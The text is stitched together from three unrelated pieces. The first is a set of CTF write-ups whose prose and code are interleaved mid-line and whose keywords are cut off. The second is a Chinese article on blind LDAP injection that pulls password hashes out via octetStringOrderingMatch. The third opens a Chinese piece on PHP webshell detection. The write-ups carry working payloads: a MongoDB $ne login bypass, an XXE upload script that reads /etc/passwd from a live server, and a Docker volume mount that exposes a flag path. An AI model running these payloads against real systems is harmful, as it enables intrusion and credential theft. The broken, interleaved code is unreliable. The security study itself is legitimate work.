magic number 42 0Dpython 3.7 b5 # >>> from Crypto.Cipher import DES >>> key = "matreha!" >>> des = DES.new(key) >>> buffer = [76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18] >>> buffer = map(lambda x: x & 0xff, buffer) >>> buffer [76, 157, 37, 75, 188, 10, 204, 10, 251, 9, 92, 1, 99, 162, 105, 238] >>> des.decrypt(''.join(map(chr, buffer))) 'lettreha\x08\x08\x08\x08\x08\x08\x08\x08' >>> key = 'lettreha' >>> des = DES.new(key) >>> buf = open('/Users/acdxvfsvd/Downloads/matreshka/data.bin', 'rb').read() >>> buffer = des.decrypt(buf) >>> f = open('/Users/acdxvfsvd/Downloads/matreshka/data2.bin', 'wb') >>> f.write(buffer) >>> f.close() >>> from Crypto.Cipher import ARC4 >>> key = [1,3,3,7,3,3,8,1] >>> key = ''.join(map(chr, key)) >>> buf = [ ... 0x53, 0xDD, 0xC5, 0x87, 0xE4, 0x63, 0x99, 0x14, 0x4F, 0xA4, ... 0x14, 0x2D, 0xC4, 0x24, 0x04, 0xC0, 0xB0 ... ] >>> rc4 = ARC4.new(key) >>> rc4.decrypt(''.join(map(chr, buf))) 'kroshka_matreshka' def decode(data, key): idx = 0 res = [] # WARNING: Decompyle incomplete XOR, flagcybrics{ flag = [ 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15] print('Enter key to get flag:') key = input() if len(key) != 8: print('Invalid len') quit() res = decode(flag, key) >>> flag = [ ... 40, ... 11, ... 82, ... 58, ... 93, ... 82, ... 64, ... 76, ... 6, ... 70, ... 100, ... 26, keyflag Oldman Reverse Status: Completed Tag: Reverse Description Author: George Zaytsev (groke) I've found this file in my grandfather garage. Help me understand what it does oldman.asm Solution ... 7, ... 4, ... 123, ... 124, ... 127, ... 45, ... 1, ... 125, ... 107, ... 115, ... 0, ... 2, ... 31, ... 15] >>> map(ord, 'cybrics{') [99, 121, 98, 114, 105, 99, 115, 123] >>> key = [99 ^ 40, 11 ^ 121, 82 ^ 98, 58 ^ 114, 93 ^ 105, 82 ^ 99, 64 ^ 115, 76 ^ 123] >>> key [75, 114, 48, 72, 52, 49, 51, 55] >>> ''.join(map(chr, key)) 'Kr0H4137' .MCALL .TTYOUT,.EXIT START: mov #MSG r1 mov #0d r2 mov #32d r3 loop: mov #MSG r1 add r2 r1 movb (r1) r0 NopeSQL Status: Completed Tag: WEB Description Author: Alexander Menshchikov (n0str) Maybe you can login and find unusual secret news http://173.199.118.226/ Solution .TTYOUT sub #1d r3 cmp #0 r3 beq DONE add #33d r2 swab r2 clrb r2 swab r2 br loop DONE: .EXIT MSG: .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe 7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi> <i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u )1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}" .end START >>> text = "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe 7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi> <i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u )1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}" >>> x = 0 >>> flag = '' >>> for i in xrange(32): ... flag += text[x] ... x = (x + 33) & 0xFF ... >>> flag 'cybrics{pdp_gpg_crc_dtd_bkb_php}' .gitindex.php <?php require_once __DIR__ . "/vendor/autoload.php"; function auth($username, $password) { $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test- >users; $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}'; $document = $collection->findOne(json_decode($raw_query)); if (isset($document) && isset($document->password)) { return true; } return false; } $user = false; if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) { $user = auth($_COOKIE['username'], $_COOKIE['password']); } if (isset($_POST['username']) && isset($_POST['password'])) { $user = auth($_POST['username'], $_POST['password']); if ($user) { setcookie('username', $_POST['username']); setcookie('password', $_POST['password']); } } ?> <?php if ($user == true): ?> Welcome! <div> Group most common news by <a href="?filter=$category">category</a> | <a href="?filter=$public">publicity</a><br> </div> <?php $filter = $_GET['filter']; $collection = (new MongoDB\Client('mongodb://localhost:27017/'))- >test->news; $pipeline = [ ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]], ['$sort' => ['count' => -1]], ['$limit' => 5], ]; $filters = [ ['$project' => ['category' => $filter]] ]; $cursor = $collection->aggregate(array_merge($filters, $pipeline)); ?> <?php if (isset($filter)): ?> <?php foreach ($cursor as $category) { printf("%s has %d news<br>", $category['_id'], $category['count']); } ?> <?php endif; ?> <?php else: ?> <?php if (isset($_POST['username']) && isset($_POST['password'])): ?> Invalid username or password <?php endif; ?> <form action='/' method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit"> </form> <h2>News</h2> <?php $collection = (new MongoDB\Client('mongodb://localhost:27017/'))- >test->news; $cursor = $collection->find(['public' => 1]); foreach ($cursor as $news) { printf("%s<br>", $news['title']); } ?> <?php endif; ?> : admin : ", "password":{"$ne":"123"}, "username":"admin $raw_query json_decode news flag $_GET['filter'] $project mongoSQL as , $group _id $category 5 _id, count payload title $title $ne $text Bitkoff Bank Status: Completed Tag: WEB Description Author: Alexander Menshchikov (n0str) {"username": "admin", "password": "", "password":{"$ne":"123"}, "username":"admin"} stdClass Object ( [username] => admin [password] => stdClass Object ( [$ne] => 123 ) ) filter[$cond][if][$and][0][$eq][]=$title&filter[$cond] [then]=$text&filter[$cond][else]=11111&filter[$cond][if][$and][0][$eq][]=This is a flag text filter[$cond][if][$and][0][$eq][]=$category&filter[$cond] [then]=$title&filter[$cond][else]=11111&filter[$cond][if][$and][0][$eq] []=flags&filter[$cond][if][$and][1][$ne][]=$title&filter[$cond][if][$and][1] [$ne][]=Natus eos quo velit accusantium vel ut ea. Need more money! Need the flag! http://45.77.201.191/index.php Mirror: http://95.179.148.72:8083/index.php Solution USD=1flag ProCTF Status: Completed Tag: PWN Description Author: Vlad Roskov (vos) We Provide you a Login for your scientific researches. Don't try to find the flag. ssh [email protected]: iamthepr0 Solution shell('cat /home/user/flag.txt'). Fast Crypto Status: Completed Tag: Cyber Description Author: Alexander Menshchikov (n0str) Here you have some modern encryption software. Actually, it's even too modern for your hardware. Try to find out how to decode the WAV file with a secret message: fastcrypto.zip Solution nphi(n) Enumerate all seed and power. Calculate phi(n) to speed up. from tqdm import tqdm def get_next(a, power, N): b = pow(a, power, N) return b, b % 256 seed = 10 power = 5 n = 738822717672250676282824223025484000697354346608085641498557013576436173885467 107501672596173483029219213085650331884647037280963385994356417079660423364891 114866464519931430539311364283432074439710209881335375907630295955070744814820 585149766503880778016693647117311119709239139580838153472828710170526139164756 70517 o = 31337 phin = 735182061472624436768373611591277765053348085400086664555581143915232287024934 493595899955969131290439112249192820222281355661709646636926573778308770811566 337588522942300678549752064725189462975626044451628533069749532897148039699294 599366198283331077264523531022777439993901525904402677760000000000000000000000 00000 data = [0x52, 0x49, 0x46, 0x46] res = [0x46, 0x83, 0x49, 0x44] for seed in tqdm(range(2**16, 0, -1)): for power in range(2, 17): seed1 = pow(seed, pow(power, o, phin), n) flag = True for i in range(len(data)): seed1, bt = get_next(seed1, power, n) if (data[i] ^ bt) != res[i]: flag = False break if flag: print seed, power Cirquits Status: Completed Tag: MISC Description Author: Khanov Artur (awengar) Reverse this http://spbctf.ppctf.net:17327/ Solution + Just manually record the equation then brute force to find solution. Battleships Status: Completed Tag: MISC Description Author: Alexander Menshchikov (n0str) Computers are cheaters. It's almost impossible to win http://107.191.39.92/ Mirror: http://95.179.148.72:8091/ Solution Google base32 16*1615 181818game over 18get flag Tone Status: Completed Tag: MISC Description Author: George Zaytsev (groke) Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone! youtu.be/11k0n7TOYeM Solution DTMF-decoder222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666 66 2 555 333 555 2 4 ,2c cybricssecrettonalflag Dock Escape Status: Completed Tag: PWN Description Author: George Zaytsev (groke) We want you to get a flag from hosting server. Flag path is /home/flag http://95.179.188.234:8080/ Solution Error happened! Here is your log The Compose file '/tmp/tmpOnb6GN/docker-compose.yml' is invalid because: services.pqNLZjGpvAHresanAaBgHBaSnnpmEshE.ports is invalid: Invalid port "ddddddd:12345", should be [[remote_ip:]remote_port[- remote_port]:]port[/protocol] docker-compose.ymlportdocker- compose.yml payload3333docker client.py /test flag Fixaref Status: Completed Tag: WEB Description Author: Alexander Menshchikov (n0str) Caesaref recently suffered from a massive data breach. It was so critical that they decided to just start over. Here it goes — Fixaref: “Reliability is Our Game”™®. This web resource is even more highly optimized: http://95.179.190.31/ Solution http://95.179.190.31/index.php/qwer.jsshow flagtoken tokenflag version: "3" services: test: - port: - "port:12345" 3333:12345 volumes: - "/home/flag:/test" # tokentoken qwer.jstokenjssmi1eqwer.jstokengetflag Telegram Status: Completed Tag: MISC Description Author: Alexander Menshchikov (n0str) This Telegram bot really loves live face-to-face communication! And it also seems to have some covert channel! @cybrics_facetoface_bot Solution Aegisub ffmpeg@Telescopy botvideovideonotefacetoface botflag According to the instruction, I downloaded the video note and found that there are some hints in the corner which asked us to add green dots to the corner. So I just use Aegisub to make a subtitle then use ffmpeg to generate a video and use @Telescopy to convert the video to video note. Send the video note to facetoface bot to get flag. Fake TCP Status: Completed Tag: Network Description Author: George Zaytsev (groke) Seems like this server doesn't respect network byte order. It swaps byte order in some tcp header fields (sport, dport, ack, seq). Could you get the flag from it? 209.250.241.50:51966 Solution dport dport seq seq ack ack sport sport Game Status: Completed Tag: Reverse ip = IP(dst='209.250.241.50') tcpport = 62240 tcpport += 1 send(IP(dst='209.250.241.50')/TCP(dport=[65226], sport=tcpport, seq=0xff00ff00, ack=0x0)) time.sleep(0.9) send(ip/TCP(dport=[65226], sport=tcpport, flags='A', seq=0x0001ff00, ack=0x01000000)) time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='A', seq=0x0001ff00, ack=0x01000000)) time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='A', seq=0x0001ff00, ack=0x01000000)) time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='A', seq=0x0001ff00, ack=0x01000000)) time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='PA', seq=0x0001ff00, ack=0x28000000) / 'GET_FLAG') time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='PA', seq=0x0001ff00, ack=0x28000000) / 'GET_FLAG') time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='PA', seq=0x0001ff00, ack=0x28000000) / 'GET_FLAG') time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='FA', seq=0x0801ff00, ack=0x29000000)) time.sleep(0.5) send(ip/TCP(dport=[65226], sport=tcpport, flags='FA', seq=0x0801ff00, ack=0x29000000)) Description Author: George Zaytsev (groke) Can you pass more than 5 levels? game_client.elf run as ./game_client.elf host port Controls: WASD — moving, F — fireball, C — punch Game ports (all equal, for load balancing): 95.179.148.72:10001 95.179.148.72:10002 95.179.148.72:10003 Solution 6 Samizdat Status: Completed Tag: Cyber Description Author: Alexander Menshchikov (n0str) Books are knowledge! Knowledge is power! Power is money! Money is the book with flag! http://45.77.219.97/ Solution http://45.77.219.97/authorszone/index.php , XXE. We can upload books via this API. It seems to have a XXE vulnerability. # coding: utf-8 import zlib import requests import re Mminus = [0x87, 0x19, 0x4D, 0x80, 0xFB, 0x09, 0xA8, 0xA9, 0x9E, 0x52, 0x07, 0xD5, 0xE5, 0xB4, 0x32, 0x35, 0xAC, 0xD7, 0x20, 0xF3, 0x71, 0x2C, 0x86, 0x05, 0x16, 0x29, 0x59, 0x82, 0xAB, 0x2A, 0x51, 0x7A, 0x26, 0x24, 0x7D, 0x19, 0x7F, 0x26, 0xF6, 0xF1, 0x22, 0x21, 0x99, 0xEE, 0x69, 0xE4, 0x52, 0x56, 0x2B, 0x51, 0xA1, 0x68, 0x1A, 0x66, 0xEE, 0x8F, 0x86, 0x8E, 0xDD, 0x87, 0x8D, 0xF1, 0x47, 0xED, 0x99, 0x9F, 0x41, 0x00, 0xE7, 0x85, 0x8B, 0xC8, 0x4E, 0x35, 0xC5, 0x3E, 0xA7, 0x4F, 0xDD, 0x5C, 0xA4, 0x78, 0x0F, 0x30, 0x79, 0x5A, 0x3E, 0xA3, 0xE7, 0x76, 0xAD, 0x24, 0x7D, 0x5C, 0x7B, 0xA5, 0x05, 0x6A, 0x81, 0x9C, 0x91, 0xE4, 0x32, 0x63, 0xD1, 0xA4, 0x32, 0x73, 0xE6, 0x7D, 0x11, 0x4C, 0xD0, 0x43, 0x26, 0x00, 0xF6, 0x5A, 0x36, 0x6B, 0x73, 0xAC, 0x5C, 0x99, 0x66, 0x20, 0x01, 0x15, 0x50, 0x91, 0xD1, 0xB0, 0x1F, 0xFA, 0x44, 0x5A, 0xF3, 0x5E, 0x70, 0xA1, 0xEA, 0xDF, 0xCC, 0x4F, 0xD1, 0xDE, 0x10, 0x4D, 0xBC, 0xDD, 0x7D, 0x5A, 0x70, 0x0A, 0x50, 0x67, 0x4D, 0x63, 0x8B, 0xB2, 0x89, 0x80, 0xC0, 0x39, 0x18, 0xF3, 0x7D, 0xFC, 0x8C, 0x5A, 0xFA, 0x84, 0xDC, 0xC2, 0x9A, 0x79, 0x72, 0x37, 0x1B, 0x81, 0x3D, 0xC4, 0xF4, 0x2A, 0xBF, 0xF2, 0xBC, 0xFE, 0xA6, 0x3B, 0xE8, 0x5E, 0xED, 0xD1, 0xC0, 0x3A, 0x2F, 0xEE, 0x93, 0x06, 0xF4, 0xE6, 0x86, 0xB8, 0xEB, 0x10, 0x35, 0x51, 0x79, 0xF8, 0x75, 0x9E, 0x11, 0x57, 0xF7, 0xCD, 0x10, 0x81, 0x7B, 0xFF, 0x03, 0x59, 0x0B, 0x62, 0x3A, 0x7D, 0xB5, 0xEC, 0x28, 0x63, 0x8D, 0xE8, 0x73, 0x55, 0x64, 0xCD, 0xBE, 0x54, 0xE2, 0xD9, 0xD6, 0x73, 0x3E, 0xD8, 0xEF, 0x2C, 0x6F, 0x45, 0x87, 0x8E, 0xF8, 0xF0, 0xB4, 0x9D, 0x29, 0x69] Pminus = [0x0C, 0x0F, 0x0E, 0x08, 0x03, 0x0B, 0x0D, 0x00, 0x07, 0x09, 0x0A, 0x06, 0x02, 0x01, 0x05, 0x04] M = [0x95, 0x8F, 0x34, 0x69, 0x15, 0xF1, 0x65, 0x5F, 0xBA, 0x2A, 0x30, 0x27, 0xA2, 0x1F, 0x3B, 0xE5, 0x81, 0xF7, 0x1A, 0x45, 0xCD, 0xFF, 0x79, 0xB6, 0xC0, 0x79, 0xE9, 0x83, 0x47, 0x3F, 0xC9, 0xE4, 0xD7, 0x71, 0x11, 0x89, 0x8E, 0x44, 0x1C, 0x7C, 0xF5, 0x4D, 0xAE, 0x07, 0x87, 0x34, 0x6C, 0xA0, 0xFD, 0x14, 0x5C, 0x17, 0xD3, 0x96, 0x91, 0xA7, 0x93, 0x3E, 0x79, 0x74, 0xD8, 0xEF, 0x28, 0x2B, 0x6C, 0xCE, 0xAB, 0x5F, 0x91, 0xCD, 0x6E, 0x1E, 0xC0, 0xC9, 0x9A, 0x1A, 0xC9, 0x14, 0xB4, 0xD3, 0xAE, 0x68, 0x68, 0x93, 0x06, 0x15, 0x5B, 0xEB, 0x26, 0x9F, 0xA6, 0xD9, 0xFD, 0x98, 0x64, 0xEA, 0x8A, 0xC3, 0x41, 0xD2, 0xCF, 0x2C, 0x7C, 0x12, 0x89, 0x50, 0xA0, 0x60, 0xEA, 0x5B, 0x2E, 0xE9, 0xD4, 0xB7, 0x27, 0x9F, 0x34, 0xF5, 0x39, 0xE8, 0x38, 0x5E, 0x32, 0xB8, 0x50, 0x50, 0x3A, 0xBC, 0x24, 0x1F, 0x71, 0x5B, 0x23, 0x4B, 0x6C, 0x0C, 0x7D, 0xA5, 0x6B, 0x2A, 0xE3, 0xA5, 0xAA, 0x9F, 0x8D, 0x26, 0x59, 0x2B, 0x76, 0x3B, 0x0B, 0x3E, 0x0D, 0x9C, 0xF7, 0x2E, 0x9A, 0x6E, 0xEE, 0x0B, 0x93, 0xEC, 0xF6, 0x63, 0x3C, 0xB1, 0xDF, 0x2F, 0x0F, 0x8D, 0x9C, 0x61, 0xD6, 0xE8, 0xB0, 0x87, 0x3D, 0x20, 0x0B, 0x8E, 0xF8, 0xF0, 0x58, 0x18, 0xBA, 0x23, 0x3D, 0x13, 0x6D, 0xFC, 0x67, 0x40, 0xE8, 0x50, 0x0D, 0x9E, 0x78, 0xEA, 0xAE, 0x7C, 0x9A, 0xD7, 0x24, 0xBA, 0x86, 0xC9, 0xE4, 0xCE, 0xEB, 0xC3, 0x75, 0x61, 0xB2, 0x7F, 0xFE, 0xE7, 0xD7, 0x16, 0x4D, 0xBD, 0x8C, 0xB5, 0x3B, 0x31, 0xC2, 0x57, 0xA0, 0x5C, 0xCF, 0x21, 0x2D, 0x12, 0x5F, 0x94, 0x1D, 0x78, 0x2E, 0x91, 0xB3, 0x4C, 0x84, 0xAE, 0x13, 0xFF, 0x21, 0x76, 0x1F, 0xF3, 0xDC, 0x19, 0x44, 0x66, 0x59, 0xAB, 0xAF, 0xB3] P = [0x07, 0x0D, 0x0C, 0x04, 0x0F, 0x0E, 0x0B, 0x08, 0x03, 0x09, 0x0A, 0x05, 0x00, 0x06, 0x02, 0x01] ef decrypt_block(content): content = map(ord, content) tmp = [0] * 16 for i in range(16): for j in range(16): v1 = 0 for k in range(16): v1 += Mminus[16 * k + j] * content[k] tmp[j] = v1 & 0xff for l in range(16): content[l] = tmp[Pminus[l]] return ''.join(map(chr, content)) ef encrypt_block(content): content = map(ord, content) tmp = content[:] for i in range(16): for l in range(16): content[l] = tmp[P[l]] for j in range(16): v1 = 0 for k in range(16): v1 += M[16 * k + j] * content[k] tmp[j] = v1 & 0xff return ''.join(map(chr, tmp)) ef decrypt(content): res = '' for i in range(0, len(content), 16): couchdblibraryflag bookurlflag After reading the source code, we found that it used couchdb, so we can go through all the record in library to find the url of flag book, then decompress it to get flag. res += decrypt_block(content[i:i + 16]) return zlib.decompress(res) ef encrypt(content): content = zlib.compress(content) padlength = 16 - len(content) % 16 content += chr(padlength) * padlength res = '' for i in range(0, len(content), 16): res += encrypt_block(content[i:i + 16]) return res pl = '''<?xml version="1.0" encoding="windows-1251"?> !DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY file SYSTEM "{}"> > FictionBook xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.gribuser.ru/xml/fictionbook/2.0"><description><title-info> <genre match="90">&file;</genre><genre match="100">1</genre><author><first- name>1</first-name><last-name>1</last-name></author><book-title>1</book-title> <annotation>1</annotation><date>1988</date><coverpage><image xlink:href="#monaliza.jpg"/></coverpage><lang>ru</lang><src-lang>ru</src-lang> <translator><first-name>À.</first-name><last-name>1</last-name></translator> <sequence name="Ìóðàâåéíèê" number="3"/></title-info><document-info><author> <nickname>tbma</nickname></author><program-used>1</program-used><date value="2003-01-31">2003-01-31</date><id>2EF7A334-19E2-4A12-9B74- CADAA5F04A88</id><version>1.0</version></document-info><publish-info><book- name>1</book-name></publish-info></description></FictionBook>''' ayload = 'file:///etc/passwd' ith open('res.book', 'wb') as f: f.write(encrypt(tpl.format(payload))) es = requests.post( 'http://45.77.219.97/authorszone/index.php', files={'newbook': open('res.book', 'rb')}).content print re.search('<genre match="90">(.*?)</genre>', res, re.M | re.S).groups() [0]
pdf
1 记次src测试中的ldap注⼊的深⼊利⽤ ldap注⼊点判断 ldap的注⼊简单利⽤ 获取ldap中的密码 修复⽅法 在最近的⼀次的src测试中遇到了⼀个ldap注⼊漏洞,⽬标是⼀个管理平台,漏洞点存在于⽤户名判断处.在 测试时遇到的 ldap注⼊是指ldap过滤器语句(filter)的注⼊ ldap过滤器的基本语法如下 例如⼀个简单的查询语句如下 搜索cn值属性为admin的条⽬ 成功会返回完整条⽬属性 实际使⽤时可能会⽐较复杂 ⽐如说同时搜索匹配⽤户输⼊的⽤户名/邮箱/⼿机号 ldap注⼊点判断 PHP 复制代码 = >= <= |  或 &  与 !  ⾮ *  通配符 (语句) 1 2 3 4 5 6 7 8 PHP 复制代码 (cn=admin) 1 2 ldap条⽬常⻅的属性值 在判断注⼊点的时候可以插⼊半个括号 多余的未闭合的括号会使ldap查询出错 观察返回是否出现异常 即可判断注⼊点 也可以直接输⼊*(星号) 通配符观察返回是否为⽤户存在但密码错误 或者是服务器错误(ldap查询可以同 时返回多条结果 如果查询结果不唯⼀ 后端未做好处理可能会报错) ldap注⼊常⻅于在判断⽤户名是否存在的点 很少出现在⽤户名密码同时判断的地⽅ 经过盲测发现⽬标可能的登陆逻辑如下 PHP 复制代码 (|(cn=admin)(mail=admin)(mobile=admin)) 1 PHP 复制代码 cn (Common Name 通⽤名称) 常被⽤做⽤户名 Surname 姓 mobile ⼿机号 mail 邮箱 1 2 3 4 3 ldap通常构造通配符查询 控制返回的结果 实现布尔注⼊从⽽带出ldap中储存的数据 ⽐如ldap中存在⼀个admin的⽤户名 查询的注⼊点为cn 那么可以使⽤*匹配先猜测出⽤户名 (cn=a*) 返回密码错误 (cn=b*) 返回⽤户名不存在 只要判断为密码错误即为匹配成功 ldap的注⼊简单利⽤ PHP 复制代码 $ds=ldap_connect($ldapSrv,$port);//建⽴ldap连接 if($ds) {    $r=ldap_bind($ds, "cn=".$username.",".$dn, $passwd);/绑定ldap区域(相当于 登陆ldap服务器)  使⽤域管⽤户登陆 检索⽤户列表    if($r) {        $sr=ldap_search($ds, $dn, "(user=".$_GET["user"].")");//在ldap中使⽤ 过滤器搜索⽤户名        $info = ldap_get_entries($ds, $sr);        if($info["count"]==0){       die('⽤户不存在');       }        ldap_close($ds);      $ds=ldap_connect($ldapSrv,$port);//建⽴ldap连接          $bd = ldap_bind($conn, $_GET["user"], $passwd); // 绑定ldap区域(相 当于登陆ldap服务器) 以普通⽤户登陆 判断是否登陆成功    if ($bd) {        echo '登陆成功';   } else {        echo '密码错误';   }      ldap_close($ds);       } else {            echo "Unable to connect to LDAP server.";       }           } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 4 构造语句猜测admin⽤户的⼿机号 (cn=admin)(mobile=13*) 到这⾥已经可以跑出ldap中保存的⼀些敏感信息(⼿机号 邮箱 ⽤户名) 但是这造成的影响还是不太够 ⼀个注⼊就只能拿到这么少的数据 作为⽤于⽤户鉴权场景的ldap当然是要拿到⽤户的密码 登陆后台 查阅⽂档 ⽤户的密码储存在 userPassword属性 尝试构造查询 (cn=admin)(userPassword=a*) 多次尝试发现都⽆法匹配记录. 但是直接使⽤*可以匹配成功 既然密码是⼀个属性为什么使⽤*号不能匹配部分字符串呢? 经过查阅ldap rfc4519⽂档 发现userPassword属性类型不是常规的字符串,⽽是(Octet String 字节序列) *通配符只能匹配字符串 那么怎么匹配字节序列呢 通过阅读ldapwiki发现过滤器除了可以使⽤常规的运算符外,还有⼀种特殊的匹配规则(MatchingRule) 其中有两个专⻔匹配Octet String的规则 octetStringMatch octetStringOrderingMatch 第⼀个规则在完全匹配时才会返回真,这显然不能利⽤. 在 rfc4517 找到了octetStringOrderingMatch规则的详细介绍 获取ldap中的密码 PHP 复制代码 构造脚本递归匹配字符 (cn=a*) (cn=ad*) (cn=adm*) (cn=admi*) (cn=admin*) 当然*也可以插在开头和中间或者是单独使⽤ (cn=a*n) (cn=*n) (cn=*) 1 2 3 4 5 6 7 8 9 10 5 逐字节⽐较两字节之间的⼤⼩ 后者⼤于前者就返回真 显然这个规则可以⽤于注⼊ 使⽤ ⼗六进制转义\xx匹配单个字节 (ldap过滤器的语法之⼀) .... .... ⽤户名错误 (cn=admin)(userPassword:2.5.13.18:=\7b) ⽤户名错误 (cn=admin)(userPassword:2.5.13.18:=\7c) 密码错误 第⼀个字节为7b 继续尝试 .... .... ⽤户名错误 (cn=admin)(userPassword:2.5.13.18:=\7b\4d) ⽤户名错误 (cn=admin)(userPassword:2.5.13.18:=\7b\4e) 密码错误 第⼆个字节为4d 继续尝试 .... .... 注意要将匹配到的每个字节-1再进⾏下⼀个匹配 最后直接转为字符串得到密码 Plain Text 复制代码 The rule evaluates to TRUE if and only if the attribute value appears earlier in the collation order than the assertion value. The rule compares octet strings from the first octet to the last octet, and from the most significant bit to the least significant bit within the octet. The first occurrence of a different bit determines the ordering of the strings. A zero bit precedes a one bit. If the strings contain different numbers of octets but the longer string is identical to the shorter string up to the length of the shorter string, then the shorter string precedes the longer string. 1 2 3 4 5 6 7 8 9 6 最后成功跑出了⽬标账号的密码 现在ldap的密码很少有明⽂储存的 基本上都是哈希后的密码 格式为 {类型}base64后的值 ldap有四种常⻅哈希 {SHA} (SHA-1) (SSHA) (带盐 SHA-1) 新版本最常⻅ {MD5} {SMD5}带盐MD5 将base64解码转换为⼗六进制字符串就可以进⾏常规的HASH猜测了 转义可能会改变ldap过滤器语法的字符 LDAP注⼊与防御剖析 修复⽅法 7 Plain Text 复制代码 function ldapspecialchars($string) {   $sanitized=array('\\' => '\5c',                     '*' => '\2a',                     '(' => '\28',                     ')' => '\29',                     "\x00" => '\00');   return str_replace(array_keys($sanitized),array_values($sanitized),$string); } 1 2 3 4 5 6 7 8 9
pdf
浅谈 PHP WebShell 的检测与防御 最近腾讯举办的⼀个webshell挑战赛,简单玩了⼀下,发现⼀些绕过的思路对于很多检测产品 都是通⽤的。说明这些产品在遇到的⼀些共性的检测难点上都没有⼀个很好的解决⽅案,以下 简单分析⼀下webshell检测的原理和困境以及⼀些绕过的思路。 正则识别 pass ssdeep 通过模糊哈希匹配已知样本,可以允许⼀定范围内的修改,原理是分⽚分别计算哈希,连接后 得到字符串,⽐较时计算两个字符串的加权编辑距离,评估样本的相似度。加权编辑距离指⼀ 个字符串最少经过多少次操作(增加、删除、修改、交换)得到另⼀个字符串,不同的操作对应 不同的权值,结果相加。 ssdeep只能针对已知样本⽽且没有⼤范围修改的情况,⽽且当样本量增加时⽐较操作的计算 量也会随之增加。ssdeep在恶意软件检测中有⽐较多的应⽤,但是针对webshell局限性⽐较 明显,⽤途有限。 静态分析 基本相当于⽩盒扫描,静态分析主要流程⼀般为词法分析、语法分析、污点分析。 词法分析(Lexical Analysis) 词法分析将字符序列转换为记号(token)序列的过程。词法只识别语素,不关⼼⼏号之间的 关系(⽐如括号是否匹配)。 直观的例⼦就是语法⾼亮,每⼀个不同颜⾊的⾊块就是⼀个token。php本身提供了⼀个 token_get_all 和 PhpToken::tokenize ⽅法将php源码转换成token数组。 ⼀个demo程序 解析出的token流 <?php $cmd = $_GET["cmd"]; $f = $_GET['f']; if ($f == "eval") {    exit("denied"); } $f($cmd); T_OPEN_TAG: '<?php\n' T_WHITESPACE: '\n' T_VARIABLE: '$cmd' T_WHITESPACE: ' ' CHARACTOR = T_WHITESPACE: ' ' T_VARIABLE: '$_GET' CHARACTOR [ T_CONSTANT_ENCAPSED_STRING: '"cmd"' CHARACTOR ] CHARACTOR ; T_WHITESPACE: '\n\n' T_VARIABLE: '$f' T_WHITESPACE: ' ' CHARACTOR = T_WHITESPACE: ' ' T_VARIABLE: '$_GET' CHARACTOR [ T_CONSTANT_ENCAPSED_STRING: ''f'' CHARACTOR ] CHARACTOR ; T_WHITESPACE: '\n\n //.... 语法分析(Parsing) 语法分析是以词法分析结果(token 流)为输⼊,进⾏语法检查,分析语法结构,构建中间语⾔ 的过程。⼀般来说中间语⾔有多种不同的表达形式。⽐如抽象语法树、三地址码、静态单赋值 形式。 抽象语法树 抽象语法树⼀般是语法分析的第⼀步中间结果,他的每个节点代表⼀个运算符,该节点的⼦节 点代表这个运算符的运算分量 ** ⼯具: **可以使⽤PHP-Parser将php代码转为AST,从php 7开始本身内部也会⽣成AST, 可以使⽤php-ast扩展将内部的AST导出。 <?php $cmd = $_GET["cmd"]; $f = $_GET['f']; if ($f == "eval") {    exit("denied"); } $f($cmd); 静态单赋值形式(Static Single-assignment Form) 与控制流图(Control Flow Graph) AST虽然⽐较直观,但是并不适合直接⽤来进⾏污染传播分析,⼀般还需要转成静态单赋值形 式的控制流图。静态单赋值也是⼀种编译过程的中间语⾔,他的特点是每个变量都只被赋值⼀ 次。控制流图是由基本块和有向边组成的图,每个基本块内部都是顺序的执⾏语句,有向边表 示节点直接的控制流路径。例如下⾯的例⼦。 ⽣成的CFG如下: <?php $cmd = $_GET["cmd"]; $f = $_GET['f']; if ($f == "eval") {    $cmd = "exit('denied')"; } $f($cmd); ** ⼯具: **可以使⽤php-cfg项⽬将php代码⽣成SSA形式的CFG。此外可以使⽤vld项⽬将 php内部的opcode导出,不过opcode不是SSA形式的,需要⾃⼰做⼀个简单的转化。 静态分析的缺陷 因为php动态弱类型的特性,灵活度极⾼,单纯静态分析漏报的可能性很⾼,最简单的例⼦⽐ 如 静态分析⽆法获取 $a 的内容,所以不能判断第三⾏具体执⾏了哪个函数,也就⽆从检测了。 所以⼀般情况下webshell检测还需要结合动态分析。 动态分析 